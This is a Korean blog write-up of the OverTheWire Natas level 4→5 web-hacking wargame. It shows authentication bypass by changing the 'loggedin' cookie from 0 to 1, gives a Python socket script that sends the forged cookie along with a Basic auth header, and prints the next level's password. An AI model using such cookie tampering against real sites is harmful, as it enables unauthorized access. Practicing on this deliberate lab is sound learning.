[natas - WEB hacking] level4 -> level5
[ 풀이과정 ]
페이지를 접속하게 되면 'Access disallowed. You are not logged in'과 같은 문구가 뜨는데
'액세스가 허용되지 않아 로그인되지 않았다'는 뜻이다.
페이지 소스를 분석해봐도 별다른건 없다.
웹에서 인증을 다루는 쿠키를 보기 위해서 개발자 도구를 통해서 request 헤더에서 쿠키필드를 확인해본 결과
쿠키필드 내용 마지막에 loggedin=0와 같이 설정이 되있었다.
이 부분이 로그인을 허용해주는 부분이라고 예측 해볼 수 있다.
개발자 도구 콘솔에서 document.cookie를 이용해서 쿠키에 해당 loggedin의 값을 1로 바꿔주거나
python을 이용해서 해당 부분의 값을 1로 바꿔서 다시 요청을 보내주면
로그인이 되면서 해당 응답으로 다음 레벨의 비밀번호를 얻을 수 있다.
( cookie를 확인해보니 loggendin이라는 변수의 값이 0으로 확인 되어있는걸 확인할 수 있고
0은 보통 false를 나타내기 때문에 로그인이 안된다고 생각해볼 수 있다...
이 부분의 값을 1로 바꿔준다 )
Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
level3 -> level4 클리어~~
natas5.py
import socket
sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
sock.connect( ('176.9.9.172', 80) )
request_header = 'GET / HTTP/1.1\r\n'
request_header += 'Authorization:Basic bmF0YXM1OmlYNklPZm1wTjdBWU9RR1B3dG4zZlhwYmFKVkpjSGZx\r\n'
request_header += 'Cookie:__cfduid=d18a0665c7ff2658cdcd53e6bf0fbe90d1505801356; __utmt=1;
__utma=176859643.226728631.1505801358.1505801358.1505801358.1;
__utmb=176859643.14.10.1505801358; __utmc=176859643;
__utmz=176859643.1505801358.1.1.utmcsr=google|utmccn=
(organic)|utmcmd=organic|utmctr=(not%20provided); loggedin=1\r\n'
request_header += 'Host:natas5.natas.labs.overthewire.org\r\n'
request_header += '\r\n'
sock.send( request_header.encode() )
response = sock.recv(65535).decode()
print(response)
'워게임 > natas' 카테고리의 다른 글
[natas - WEB hacking] level6 -> level7 (0) | 2017.10.08 |
---|---|
[natas - WEB hacking] level5 -> level6 (0) | 2017.10.08 |
[natas - WEB hacking] level3 -> level4 (0) | 2017.09.25 |
[natas - WEB hacking] level2 -> level3 (0) | 2017.09.25 |
[natas - WEB hacking] level1 -> level2 (0) | 2017.09.25 |
댓글